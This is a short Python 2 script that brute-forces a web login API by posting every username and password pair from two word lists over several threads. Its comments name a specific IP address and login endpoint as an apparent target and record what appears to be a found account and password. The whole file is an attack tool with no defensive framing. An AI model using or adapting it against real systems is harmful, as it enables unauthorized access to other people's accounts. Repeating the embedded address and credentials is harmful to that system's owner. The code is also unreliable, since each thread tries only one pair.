#coding:utf-8
import requests
from sys import argv
from threading import Thread
import time
import json
import queue
#google: http://183.6.136.90:8081/#/login 
#http://183.6.136.90:8081/api/login
#{username: "1", password: "1"}
# alog alog1qaz@WSX
q = queue.Queue()

def Usage():
	print "[Usage] ./xxx.py [URL] [UserParam] [PassParm] [ErrorMessage]"
	#通过输入 url 参数 错误信息 获取 成功的账号密码


def loadData():
	buffer1 = []
	buffer2 = []
	buffer3 = []

	with open("user.txt", "rb") as f1, open("pass.txt", "r") as f2:
		for i in f1.readlines():
			buffer1.append(i.strip())

		for i in f2.readlines():
			buffer2.append(i.strip())
	for x in buffer1:
		for y in buffer2:
			buffer3.append([x, y]) 

	return buffer3



def intoQueue():
	data = loadData()
	for i in data:
		q.put(i)


def Crack(url, up, pp, flag):
	head = {'Content-Type': 'application/json; charset=utf-8'}
	data = q.get()
	usr = data[0]
	pwd = data[1] 
	payload = json.dumps({up:usr, pp:pwd})
	r = requests.post(url, headers=head, data=payload)
	html = r.text
	if flag not in html:
		print "Username: %s, Password: %s ." % (usr, pwd), r.headers.get("Content-Length")

if __name__  ==  '__main__':
	try:
		intoQueue()
		url = argv[1]
		up = argv[2]
		pp = argv[3]
		flag = argv[4]
		for i in range(10):
			t = Thread(target=Crack, args=(url, up, pp, flag))
			time.sleep(0.1)
			t.start()
	except:
		Usage()

